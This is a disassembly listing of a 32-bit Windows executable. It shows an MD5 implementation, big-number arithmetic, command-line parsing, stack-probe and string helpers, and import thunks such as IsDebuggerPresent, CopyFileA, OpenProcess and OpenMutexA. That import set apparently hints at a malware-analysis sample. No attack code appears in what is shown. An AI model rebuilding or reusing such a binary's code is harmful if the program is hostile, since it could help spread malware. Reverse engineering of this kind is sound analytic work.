sub_40BD4B	proc near		; CODE XREF: sub_40BC80+29p
					; sub_40BCDC+15p
		mov	ebx, 1FFh


loc_40BD50:				; CODE XREF: sub_40BD4B+Bj
		bt	[edi], ebx
		jb	short locret_40BD58
		dec	ebx
		jnz	short loc_40BD50

locret_40BD58:				; CODE XREF: sub_40BD4B+8j
		retn
sub_40BD4B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40BD5C	proc near		; CODE XREF: sub_40BCDC+2Ep
					; sub_40BCDC+57p
		lea	esi, dword_447B3C
		mov	edi, [ebp+14h]
		mov	ecx, 0Fh


loc_40BD6A:				; CODE XREF: sub_40BD5C+19j
		mov	eax, [esi+ecx*4]
		cmp	eax, [edi+ecx*4]
		jb	short locret_40BD93
		ja	short loc_40BD77
		dec	ecx
		jns	short loc_40BD6A


loc_40BD77:				; CODE XREF: sub_40BD5C+16j
		mov	esi, [ebp+14h]
		lea	edi, dword_447B3C
		xor	eax, eax
		mov	ecx, 10h


loc_40BD87:				; CODE XREF: sub_40BD5C+35j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_40BD87

locret_40BD93:				; CODE XREF: sub_40BD5C+14j
		retn
sub_40BD5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BD94	proc near		; CODE XREF: sub_40BDE5+32p
					; sub_40BDE5+50p ...
		mov	eax, ebx
		and	eax, ecx
		push	ebx
		not	ebx
		and	ebx, edx
		or	eax, ebx
		pop	ebx
		retn
sub_40BD94	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDA1	proc near		; CODE XREF: sub_40BDE5+219p
					; sub_40BDE5+238p ...
		mov	eax, ebx
		and	eax, edx
		push	edx
		not	edx
		and	edx, ecx
		or	eax, edx
		pop	edx
		retn
sub_40BDA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDAE	proc near		; CODE XREF: sub_40BDE5+420p
					; sub_40BDE5+43Fp ...
		mov	eax, ebx
		xor	eax, ecx
		xor	eax, edx
		retn
sub_40BDAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDB5	proc near		; CODE XREF: sub_40BDE5+627p
					; sub_40BDE5+645p ...
		mov	eax, edx
		not	eax
		or	eax, ebx
		xor	eax, ecx
		retn
sub_40BDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BDBE	proc near		; CODE XREF: sub_408779+A8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi], 67452301h
		mov	dword ptr [edi+4], 0EFCDAB89h
		mov	dword ptr [edi+8], 98BADCFEh
		mov	dword ptr [edi+0Ch], 10325476h
		popa
		pop	ebp
		retn	4
sub_40BDBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BDE5	proc near		; CODE XREF: sub_408779+C5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [edi]
		mov	dword_447BBC, eax
		mov	eax, [edi+4]
		mov	dword_447BC0, eax
		mov	eax, [edi+8]
		mov	dword_447BC4, eax
		mov	eax, [edi+0Ch]
		mov	dword_447BC8, eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BD94
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0D76AA478h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BD94
		add	eax, [edi+0Ch]
		add	eax, [esi+4]
		add	eax, 0E8C7B756h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BD94
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 242070DBh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BD94
		add	eax, [edi+4]
		add	eax, [esi+0Ch]
		add	eax, 0C1BDCEEEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BD94
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F57C0FAFh
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BD94
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A8304613h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BD94
		add	eax, [edi+4]
		add	eax, [esi+1Ch]
		add	eax, 0FD469501h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BD94
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 698098D8h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BD94
		add	eax, [edi+0Ch]
		add	eax, [esi+24h]
		add	eax, 8B44F7AFh
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BD94
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFFF5BB1h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BD94
		add	eax, [edi+4]
		add	eax, [esi+2Ch]
		add	eax, 895CD7BEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BD94
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 6B901122h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BD94
		add	eax, [edi+0Ch]
		add	eax, [esi+34h]
		add	eax, 0FD987193h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BD94
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0A679438Eh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BD94
		add	eax, [edi+4]
		add	eax, [esi+3Ch]
		add	eax, 49B40821h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDA1
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0F61E2562h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDA1
		add	eax, [edi+0Ch]
		add	eax, [esi+18h]
		add	eax, 0C040B340h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDA1
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 265E5A51h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDA1
		add	eax, [edi+4]
		add	eax, [esi]
		add	eax, 0E9B6C7AAh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDA1
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0D62F105Dh
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDA1
		add	eax, [edi+0Ch]
		add	eax, [esi+28h]
		add	eax, 2441453h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDA1
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 0D8A1E681h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDA1
		add	eax, [edi+4]
		add	eax, [esi+10h]
		add	eax, 0E7D3FBC8h
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDA1
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 21E1CDE6h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDA1
		add	eax, [edi+0Ch]
		add	eax, [esi+38h]
		add	eax, 0C33707D6h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDA1
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0F4D50D87h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDA1
		add	eax, [edi+4]
		add	eax, [esi+20h]
		add	eax, 455A14EDh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDA1
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 0A9E3E905h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDA1
		add	eax, [edi+0Ch]
		add	eax, [esi+8]
		add	eax, 0FCEFA3F8h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDA1
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 676F02D9h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDA1
		add	eax, [edi+4]
		add	eax, [esi+30h]
		add	eax, 8D2A4C8Ah
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDAE
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0FFFA3942h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDAE
		add	eax, [edi+0Ch]
		add	eax, [esi+20h]
		add	eax, 8771F681h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDAE
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 6D9D6122h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDAE
		add	eax, [edi+4]
		add	eax, [esi+38h]
		add	eax, 0FDE5380Ch
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDAE
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0A4BEEA44h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDAE
		add	eax, [edi+0Ch]
		add	eax, [esi+10h]
		add	eax, 4BDECFA9h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDAE
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 0F6BB4B60h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDAE
		add	eax, [edi+4]
		add	eax, [esi+28h]
		add	eax, 0BEBFBC70h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDAE
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 289B7EC6h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDAE
		add	eax, [edi+0Ch]
		add	eax, [esi]
		add	eax, 0EAA127FAh
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDAE
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0D4EF3085h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDAE
		add	eax, [edi+4]
		add	eax, [esi+18h]
		add	eax, 4881D05h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDAE
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 0D9D4D039h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDAE
		add	eax, [edi+0Ch]
		add	eax, [esi+30h]
		add	eax, 0E6DB99E5h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDAE
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 1FA27CF8h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDAE
		add	eax, [edi+4]
		add	eax, [esi+8]
		add	eax, 0C4AC5665h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDB5
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0F4292244h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDB5
		add	eax, [edi+0Ch]
		add	eax, [esi+1Ch]
		add	eax, 432AFF97h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDB5
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0AB9423A7h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDB5
		add	eax, [edi+4]
		add	eax, [esi+14h]
		add	eax, 0FC93A039h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDB5
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 655B59C3h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDB5
		add	eax, [edi+0Ch]
		add	eax, [esi+0Ch]
		add	eax, 8F0CCC92h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDB5
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFEFF47Dh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDB5
		add	eax, [edi+4]
		add	eax, [esi+4]
		add	eax, 85845DD1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDB5
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 6FA87E4Fh
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDB5
		add	eax, [edi+0Ch]
		add	eax, [esi+3Ch]
		add	eax, 0FE2CE6E0h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDB5
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A3014314h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDB5
		add	eax, [edi+4]
		add	eax, [esi+34h]
		add	eax, 4E0811A1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40BDB5
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F7537E82h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40BDB5
		add	eax, [edi+0Ch]
		add	eax, [esi+2Ch]
		add	eax, 0BD3AF235h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDB5
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 2AD7D2BBh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDB5
		add	eax, [edi+4]
		add	eax, [esi+24h]
		add	eax, 0EB86D391h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	eax, dword_447BBC
		add	[edi], eax
		mov	eax, dword_447BC0
		add	[edi+4], eax
		mov	eax, dword_447BC4
		add	[edi+8], eax
		mov	eax, dword_447BC8
		add	[edi+0Ch], eax
		popa
		pop	ebp
		xor	eax, eax
		retn	8
sub_40BDE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C630	proc near		; CODE XREF: sub_4098A8+1010p

var_1C		= dword	ptr -1Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		fnstcw	[ebp+var_2]
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[esp+1Ch+var_1C]
		mov	eax, [esp+1Ch+var_1C]
		fldcw	[ebp+var_2]
		leave
		retn
sub_40C630	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C654	proc near		; CODE XREF: start+66p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		call	GetCommandLineA	; GetCommandLineA
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	short loc_40C688
		push	22h		; Val
		mov	eax, edi
		inc	eax
		push	eax		; Str
		call	strchr	; strchr
		add	esp, 8
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_40C6A3
		mov	edi, eax
		inc	edi
		jmp	short loc_40C680
; ---------------------------------------------------------------------------


loc_40C67F:				; CODE XREF: sub_40C654+2Fj
		inc	edi


loc_40C680:				; CODE XREF: sub_40C654+29j
		cmp	byte ptr [edi],	20h
		jz	short loc_40C67F
		jmp	short loc_40C6A3
; ---------------------------------------------------------------------------


loc_40C687:				; CODE XREF: sub_40C654+3Ej
		inc	edi


loc_40C688:				; CODE XREF: sub_40C654+Fj
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_40C694
		cmp	eax, 20h
		jnz	short loc_40C687


loc_40C694:				; CODE XREF: sub_40C654+39j
		jmp	short loc_40C697
; ---------------------------------------------------------------------------


loc_40C696:				; CODE XREF: sub_40C654+4Dj
		inc	edi


loc_40C697:				; CODE XREF: sub_40C654:loc_40C694j
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_40C6A3
		cmp	eax, 20h
		jz	short loc_40C696


loc_40C6A3:				; CODE XREF: sub_40C654+24j
					; sub_40C654+31j ...
		push	0		; lpModuleName
		call	GetModuleHandleA	; GetModuleHandleA
		push	1		; int
		push	edi		; int
		push	0		; int
		push	eax		; hModule
		call	sub_40AA24
		pop	edi
		leave
		retn
sub_40C654	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C6B8	proc near		; CODE XREF: sub_40133B+8p
					; sub_402A48+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_40C6B9:				; CODE XREF: sub_40C6B8+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_40C6B9
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_40C6B8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40C6D8	proc near		; CODE XREF: sub_401BB7+CCp
					; sub_40523D+38p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_40C6D8	endp

; ---------------------------------------------------------------------------
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION DeleteFileA. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION ExpandEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+"	TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentProcessId. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetFileSize. PRESS KEYPAD	"+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetFileTime. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetLastError. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA.	PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetProcessHeap. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetSystemDirectoryA. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle. PRESS KEYPAD	"+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetTempPathA. PRESS KEYPAD "+" TO	EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetTickCount. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetVersion. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetVersionExA. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetVolumeInformationA. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetWindowsDirectoryA. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GlobalAddAtomA. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GlobalDeleteAtom.	PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION GlobalFindAtomA. PRESS KEYPAD "+"	TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GlobalMemoryStatus. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION InterlockedIncrement. PRESS KEYPAD "+" TO	EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION IsBadReadPtr. PRESS KEYPAD "+" TO	EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION IsBadWritePtr. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION IsDebuggerPresent. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryA. PRESS KEYPAD "+" TO	EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CopyFileA. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION LocalFree. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION OpenMutexA. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION OpenProcess. PRESS KEYPAD	"+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION ReadFile.	PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION RtlZeroMemory. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CreateFileA. PRESS KEYPAD	"+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION SetFilePointer. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
